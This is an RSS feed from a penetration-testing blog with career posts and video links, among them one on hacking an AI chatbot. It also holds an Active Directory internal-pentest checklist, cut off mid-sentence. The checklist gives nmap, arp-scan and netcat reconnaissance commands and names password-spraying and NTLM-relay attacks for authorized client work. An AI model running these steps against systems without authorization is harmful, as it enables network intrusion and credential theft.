<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-2419284614709488194</atom:id><lastBuildDate>Sat, 10 Oct 2026 15:19:07 +0000</lastBuildDate><category>tips&amp;tricks</category><category>hacking</category><category>operating systems</category><category>cybersecurity</category><category>pentesting</category><category>OS X</category><category>troubleshooting</category><category>Windows</category><category>software</category><category>review</category><category>Linux</category><category>Kali Linux</category><category>Internet</category><category>Windows 10</category><category>security</category><category>Microsoft</category><category>virtualization</category><category>Mavericks</category><category>Yosemite</category><category>general</category><category>networking</category><category>hacks</category><category>misconceptions</category><category>#hacking</category><category>About Me</category><category>#pentesting</category><category>Beta</category><category>IT</category><category>dummies</category><category>howto</category><category>browser</category><category>El Capitan</category><category>Windows 7</category><category>browser add-on</category><category>forensics</category><category>installation</category><category>privacy</category><category>ransomware</category><category>web</category><category>Apple</category><category>Firefox</category><category>VirtualBox</category><category>Windows 8.1</category><category>malware removal</category><category>part 1</category><category>part 2</category><category>#hacking #pentesting</category><category>blogging</category><category>cybeersecurity</category><category>giveaway</category><category>guide</category><category>intrusion detection</category><category>macOS</category><category>open-source</category><category>password</category><category>programming</category><category>shell</category><category>tutorial</category><category>upgrade</category><category>usb bootable installer</category><category>wifi</category><category>Google</category><category>Google Drive</category><category>Recovery Mode</category><category>USB</category><category>antimalware</category><category>blog</category><category>computer maintenance</category><category>freeware</category><category>iMac</category><category>part 3</category><category>preview</category><category>social media</category><category>touchscreen</category><category>update</category><category>video</category><category>virtual machine</category><category>5 quick hacks</category><category>Bitdefender Antivirus for Mac</category><category>Chrome</category><category>Dropbox</category><category>Evernote</category><category>Internet of Things</category><category>PowerShell</category><category>Pre-Release</category><category>Safari</category><category>Top 10</category><category>UNIX</category><category>Ubuntu 13.10</category><category>Windows XP</category><category>Yosemite Beta 2</category><category>add-ons</category><category>antivirus</category><category>cloud</category><category>encryption</category><category>mistakes</category><category>productivity</category><category>top 6 free tools</category><category>#conference</category><category>#phishing</category><category>10.10.3</category><category>10.10.4</category><category>10.10.5</category><category>5 ways</category><category>6 hidden hacks</category><category>Automator</category><category>Blue Screen Of Death</category><category>ClamXav</category><category>Command Prompt</category><category>Desktop Support</category><category>Disk Utility</category><category>Dragon Dictate</category><category>Flash</category><category>Gmail</category><category>God Mode</category><category>Google Music Manager</category><category>HTTPS</category><category>Internet Explorer</category><category>Internet toolbars</category><category>LastPass</category><category>LinkedIn</category><category>MalwareByte&#39;s AntiMalware</category><category>Office Beta for Mac 2016</category><category>Onyx</category><category>Opera</category><category>Opera browser</category><category>Parallels Desktop</category><category>Puppy Linux</category><category>Racy</category><category>Sierra</category><category>Twitter</category><category>URL shorteners</category><category>URL unshorteners</category><category>VLC</category><category>VMware</category><category>VMware Player</category><category>anonymity</category><category>anti-spyware</category><category>backup</category><category>benchmarking</category><category>bloggers</category><category>cleaners</category><category>cloning</category><category>course</category><category>customization</category><category>cyberpunk</category><category>eBook</category><category>eCommerce</category><category>end of life</category><category>hardware</category><category>iWork</category><category>index</category><category>junk software</category><category>kit</category><category>mobile</category><category>part 4</category><category>password manager</category><category>pemtesting</category><category>performance</category><category>phishing</category><category>piracy</category><category>portable</category><category>promotions</category><category>risk management</category><category>search</category><category>sneak peek</category><category>speech recognition</category><category>tips</category><category>tools</category><category>video playback</category><category>webmail</category><title>The S@vvy_Geek Hacking &amp;amp; Pentesting Blog</title><description>TOOLS DON&#39;T MAKE HACKERS, HACKERS MAKE TOOLS.&#xa;&#xa;&#xa;&#xa;An info sec junkie&#39;s professional path. Security Consultant since October 2018. I love hacking and coding and I hope I can give my little knowledge back to the community and help make information systems more secure. This blog focuses on information security and white hat hacking, i.e. hacking based on the client&#39;s authorization. Hacking must be done responsibly: don&#39;t ruin people&#39;s lives and businesses. </description><link>http://savvygeektips.blogspot.com/</link><managingEditor>noreply@blogger.com (SavvyGeek)</managingEditor><generator>Blogger</generator><openSearch:totalResults>330</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-443905741035479113</guid><pubDate>Sat, 10 Oct 2026 15:19:07 +0000</pubDate><atom:updated>2026-10-10T11:19:07.278-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#conference</category><category domain="http://www.blogger.com/atom/ns#">#hacking</category><title>HUMAN TOUCH - Why Manual Testing Still Matters, CYBR.SEC.CON. September 15, 2026 </title><description>&lt;p&gt;&amp;nbsp;Here&#39;s the video recording of my talk, courtesy of CYBR.SEC. Community:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/jbwLnDGKqtU?si=qF0H9o-_I5IMMb4j&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2026/10/human-touch-why-manual-testing-still.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/jbwLnDGKqtU/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-4391915941547117818</guid><pubDate>Mon, 16 Mar 2026 13:00:00 +0000</pubDate><atom:updated>2026-09-10T16:00:58.247-04:00</atom:updated><title>Tips for an Information Security Analyst/Pentester Career - Ep. 104: Speaking At a Security Conference</title><description>&lt;p&gt;On February 13, 2026 I had the opportunity to present a talk at Wild West Hackin&#39; Fest Mile High 2026 in Denver, CO.&amp;nbsp;&lt;/p&gt;&lt;p&gt;It was an honor and a pleasure, but first of all a big challenge cause as I&#39;m as afraid of public speaking as I am of heights.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Plus, here we&#39;re talking about a major conference organized by John Strand&#39;s Black Hills Information Security, one of the largest security companies out there, led by a guy who I always looked up to.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;I had to pinch myself when I got the invitation email.&amp;nbsp;&lt;/p&gt;&lt;p&gt;I&#39;ll upload the video recording to my YouTube channel as soon as the conference will make it available. My talk, &lt;span style=&quot;font-family: courier;&quot;&gt;HUMAN TOUCH: Why Manual Testing Still Matters&lt;/span&gt;,&amp;nbsp;was about the importance of manual testing.&lt;/p&gt;&lt;p&gt;In the meantime, I want to take the opportunity for a quick video with tips for first time speakers and considerations about why you might want to challenge yourself and dare submitting a talk at any conference.&lt;/p&gt;&lt;p&gt;Enjoy!!&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://wildwesthackinfest.com/wp-content/uploads/2025/10/WWHF_Final_3.18.21-012-1-scaled.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1582&quot; data-original-width=&quot;2048&quot; height=&quot;1582&quot; src=&quot;https://wildwesthackinfest.com/wp-content/uploads/2025/10/WWHF_Final_3.18.21-012-1-scaled.png&quot; width=&quot;2048&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt; &amp;nbsp;&lt;p&gt;&lt;/p&gt;
&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; src=&quot;https://www.youtube.com/embed/mPEr3QBAAro?si=-Guv8Kxd7vpnmWI1&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2026/03/tips-for-information-security_01385544379.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/mPEr3QBAAro/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-7099216435138757650</guid><pubDate>Sun, 15 Mar 2026 14:58:00 +0000</pubDate><atom:updated>2026-03-15T10:58:55.051-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Episode 103 - Intro to AI Hacking </title><description>&lt;p&gt;&amp;nbsp;I recently started getting into AI hacking and, if you guys want to be serious about a cybersecurity career, you should get into that like yesterday.&lt;/p&gt;&lt;p&gt;Here&#39;s how I hacked a demo chatbot through Googling and critical thinking.&lt;/p&gt;&lt;p&gt;The techniques shown in the video reflect those I used to hack a real-world chatbot.&lt;/p&gt;&lt;p&gt;Enjoy!!&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/6YL-K4Y5Miw?si=tTyZIQTmE8LMsVKb&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2026/03/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/6YL-K4Y5Miw/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-3099059024953814834</guid><pubDate>Fri, 18 Jul 2025 14:58:00 +0000</pubDate><atom:updated>2025-07-18T10:58:03.525-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Episode 102 - No DA, No Party? No, No Problem!</title><description>&lt;p&gt;Today I interacted with a post on LinkedIn that made me think of an important difference between AD pentesting in real world compared with practice environments.&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;In practice environments, such as CTFs, GOAD, Vulnhub, Hack The Box. etc., once you gained DA (Domain Administrator) you&#39;re done, you own that network.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Not so much in real world, where the goal is rather to gain access to sensitive and confidential information.&lt;/p&gt;&lt;p&gt;This goal doesn&#39;t necessarily imply you need to get DA. If you can along the way that&#39;s good but it&#39;s not the end goal, as standard credentials might be enough for that. DA without proof of impact is totally useless to the client.&lt;/p&gt;&lt;p&gt;This is a very important concept, but often overlooked.&lt;/p&gt;&lt;p&gt;As a result of that, beginner/junior pentesters might stick with the wrong idea DA is the ultimate goal and get hurt by that, both emotionally and in terms of the quality of their work, so I feel the need to talk about it.&lt;/p&gt;&lt;p&gt;However, at this point in my career I&#39;m too busy and exhausted to write a long post and don&#39;t want to copy/paste it from AI, so it&#39;s much easier for me to turn my camera on and voice my thoughts.&lt;/p&gt;&lt;p&gt;Please check the embedded video for the whole conversation.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/i5X-dFscrS0?si=zSMA7JzDMdd3Dirq&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2025/07/tips-for-information-security_18.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/i5X-dFscrS0/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-7152116172261612404</guid><pubDate>Mon, 14 Jul 2025 13:00:00 +0000</pubDate><atom:updated>2026-08-30T11:56:05.243-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Episode 101 - Coming Full Circle </title><description>&lt;p&gt;It&#39;s an invasion on all social media.&lt;/p&gt;&lt;p&gt;Everybody writes posts on how to break into cybersecurity.&lt;/p&gt;&lt;p&gt;This industry has become the new gold rush, it&#39;s all the rage now and everybody feels the need to say something about it, especially if they never worked in info sec.&lt;/p&gt;&lt;p&gt;Well, today I re-read an old post I wrote at the start of my journey, in 2017, back when I was still looking for a way in. I was shocked by how clear my ideas where because many things I said back then came true for me.&lt;/p&gt;&lt;p&gt;On the other hand, this prompted additional considerations, after 8 years as a cyber security consultant.&lt;/p&gt;&lt;p&gt;I decided to structure this post as a conversation, so please check the embedded video for more details. I had fun making it, I hope you guys can appreciate it.&lt;/p&gt;&lt;p&gt;Thank you for your attention.&lt;/p&gt;

&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; src=&quot;https://www.youtube.com/embed/_oCVDvNeTyg?si=xZOCN3wosWD84xIN&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;For completeness, here is also the link to the original post from 2017:&amp;nbsp;&lt;span&gt;&lt;span class=&quot;w4txWc oJeWuf&quot; id=&quot;i8&quot; role=&quot;region&quot;&gt;&lt;span class=&quot;MUhG4e OGjyyf&quot; data-blogurl=&quot;https://savvygeektips.blogspot.com/&quot;&gt;&lt;a href=&quot;https://savvygeektips.blogspot.com/2017/07/tips-for-for-information-security.html&quot;&gt;Tips for an Information Security Analyst/Pentester career - Episode 1: General hints and initial technical recommendations&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2025/07/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/_oCVDvNeTyg/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-5658414490784746662</guid><pubDate>Wed, 05 Feb 2025 14:00:00 +0000</pubDate><atom:updated>2026-08-30T12:22:56.515-04:00</atom:updated><title>Tips for an Information Security Analyst/Pentester Career - Ep. 100 - Anatomy of an Internal Pentest (Checklist and Lessons Learned)</title><description>&lt;div&gt;&lt;p&gt;&lt;i&gt;Thanks to my buddy Aqeeb Hussain for finding the time to peer review my stuff on a Sunday night!&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Guys, this series has finally made it to the number 100 post,&lt;i&gt; &lt;/i&gt;I find it hard to believe it myself!&lt;i&gt; &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;I long debated on what topic this post should discuss, and I returned on an idea that&#39;s been going through my mind for a while: Analyzing how to run an internal pentest from start to finish, alongside best practices and lessons learned over the numerous (8 to be exact) years attacking &amp;amp; hardening Active Directory environments for clients. I wanted to invent a list of guidelines, followed by a checklist which can be used for reference.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sorry, it took me a while to bring this post to you, but this is the special 100 and it needed the right amount of effort! Whilst I do believe in the potential which AI has brought to many content creators, I like to gear my writing to be original and authentic, albeit it takes a while; it&#39;s a true reflection of me as an author and the writer of this series.&lt;/p&gt;
&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; src=&quot;https://www.youtube.com/embed/DHcGI3C3Pf4?si=QKrwUKjaFUFEDlGU&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt; 
  
  
 &lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;START - NETWORK RECONNAISSANCE&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Request password policy&lt;/i&gt;&lt;/b&gt;: Understanding the client&#39;s password policy empowers specific password spraying attacks, subsequently decreasing the likelihood of causing a mass account lockout. Therefore, I&#39;m going to provide experience-based tips. &lt;/li&gt;&lt;/ul&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Find domain name:&lt;/i&gt; &lt;/b&gt;I run two different types of AD tests, depending on where the client provides me with a scope (comprehensive tests) or no scope is supplied and it&#39;s left up to me to target all I can find (targeted tests). Each test has its rationale, but I prefer targeted tests, because of their  challenging nature (no Nessus, all manual testing), naturally resembling the actions/steps taken by an adversary.  &lt;/li&gt;&lt;/ul&gt;&lt;ul style=&quot;margin-left: 80px; text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;AD Domain Identification&lt;/i&gt;:&lt;/b&gt; Regardless of the test type, we need to identify the AD domain. In fact, the client&#39;s AD domain isn&#39;t always the same as the client&#39;s external domain. In other words, if the external domain is acme.com, the AD domain can be the same as the former or different (e.g. acme.local), so making assumptions can be problematic to the host discovery phase here.  My go-to tool for this scenario is NMAP&#39;s &lt;a href=&quot;https://www.blogger.com/&quot;&gt;broadcast-dhcp-discover&lt;/a&gt; NSE script. The example below is from NMAP’s official documentation. When the above script does not work, running &lt;a href=&quot;https://github.com/Pennyw0rth/NetExec&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;NetExec&lt;/a&gt; against all the SMB hosts will return their hostnames and the domains they belong to.&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_M4nmWwBgyj9dRTVxYnT_8a1e_Lw73S0zUrdL6fCu6B3k_nQD1Vtzjs0kbSWoHocgTGncqbfMtXx42DHt86reSDlfdZZvaUvuxr2ChNC6iBqyw150gaKQk650033VTdraglXErJ9MRFRrPttzn3VI_56rLc0z0_snJK4kNS7LjcA3wsA5vReLlOXVIrk_/s1618/nmap-script.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1368&quot; data-original-width=&quot;1618&quot; height=&quot;271&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_M4nmWwBgyj9dRTVxYnT_8a1e_Lw73S0zUrdL6fCu6B3k_nQD1Vtzjs0kbSWoHocgTGncqbfMtXx42DHt86reSDlfdZZvaUvuxr2ChNC6iBqyw150gaKQk650033VTdraglXErJ9MRFRrPttzn3VI_56rLc0z0_snJK4kNS7LjcA3wsA5vReLlOXVIrk_/s320/nmap-script.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Output from NMAP Script&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Find domain controller IP:&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;In the output from the script, the IP listed under Server Identifier is the DC&#39;s IP. Alternatively, some clients may have multiple IPs listed via their DNS server, which can point to other DCs. A common scenario since since some AD environments create primary and backup Domain Controllers, to maintain resilience against potential outages.&lt;br /&gt;&lt;br /&gt;Anyhow, a foolproof method to discover the DC IP is to check whether TCP port 88, associated with Kerberos authentication, is open. This can be simply done through netcat (nc -nv $DC-IP 88), as shown in this example from my test lab.&lt;/div&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit7w9jisRMoiReL5rylu0luCbKRhMP_VeWfqEijPRrl59Iy11MwqlwzZNbj4Cpt9Es0RFppYmOv-yx3xivNtvyY3czg4WRpiWo4WUhn0O-S5MLb_pmGQCo-iJ7Gbat5TkYDdpw7K5xqKVafjyHPLW4g1mYVZe4bNCxPQnTGWFnN2WBzr2GaAhxKtmkSnpE/s2412/netcat.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;188&quot; data-original-width=&quot;2412&quot; height=&quot;31&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit7w9jisRMoiReL5rylu0luCbKRhMP_VeWfqEijPRrl59Iy11MwqlwzZNbj4Cpt9Es0RFppYmOv-yx3xivNtvyY3czg4WRpiWo4WUhn0O-S5MLb_pmGQCo-iJ7Gbat5TkYDdpw7K5xqKVafjyHPLW4g1mYVZe4bNCxPQnTGWFnN2WBzr2GaAhxKtmkSnpE/w400-h31/netcat.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;DC IP Found through netcat&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Initial Host Discovery:&lt;/i&gt;&lt;/b&gt; The first step is host discovery, which can be conducted using the ARP protocol. This step can be very effective for networks which are not segmented into various VLANs, allowing discovery of all running hosts. The syntax would be as follows: &lt;span style=&quot;font-family: courier;&quot;&gt;arp-scan -l&lt;/span&gt; (Network interface). With some use of Linux power tools, we can retrieve a list of hosts which can then feed into further scans to support profiling and service/version detection.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Nmap discovery and profiling scans&lt;/i&gt;&lt;/b&gt;: Host discovery will identify live in-scope hosts. i.e. hosts which contain listening services, exposing open ports. With a list of live hosts, we now need to know what services they run (and especially service version(s) are in use), to tailor our attacks, so we move to the “services profiling stage”. For this purpose, especially for a high number of live hosts, I tend to scan specific ports, hosting potentially interesting services. An example of a scan I’d use is as follows:&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;nmap -iL live-hosts.txt -p 21,22,23,53,80,88,111,139,389,443,445,636,1433,2049,3306,3268,3389,5985 --open -vv -sCV -oA initial-profiling-tcp&lt;/span&gt;.  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With this information, we need to identify what hosts don’t enforce SMB signing, especially for targeted tests (for comprehensive tests, Nessus often identifies this specific vulnerability right away). The easiest way to do this is to leverage the &lt;a href=&quot;https://nmap.org/nsedoc/scripts/smb-security-mode.html&quot;&gt;smb-security-mode&lt;/a&gt; Nmap script. This information is needed to perform a relay attack through Responder + impacket-ntlmrelayx.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;Another important information to look for is whether any of the live hosts identified support SMBv1, subject to multiple vulnerabilities. For this purpose, the &lt;a href=&quot;https://nmap.org/nsedoc/scripts/smb-protocols.html&quot;&gt;smb-protocols&lt;/a&gt; Nmap script comes in very handy, with &lt;a href=&quot;https://github.com/Pennyw0rth/NetExec&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;NetExec&lt;/a&gt; as a failover option. Many RCE vulnerabilities affecting SMB, including &lt;a href=&quot;https://en.wikipedia.org/wiki/EternalBlue&quot;&gt;ETERNALBLUE&lt;/a&gt;, require for SMBv1 to be enabled.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;u&gt;USERNAME ENUMERATION&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Username Enumeration&lt;/i&gt;&lt;/b&gt;: As part of the enumeration phase, discovering usernames is a crucial and key step which can be executed in various ways. One method is to run a passive network sniffer (and credential grabber) Responder. Responder not only gives you a username you might need to authenticate to the target AD domain, but also provides their NTLMv2 credential hash which can be used to crack offline or with tools such as 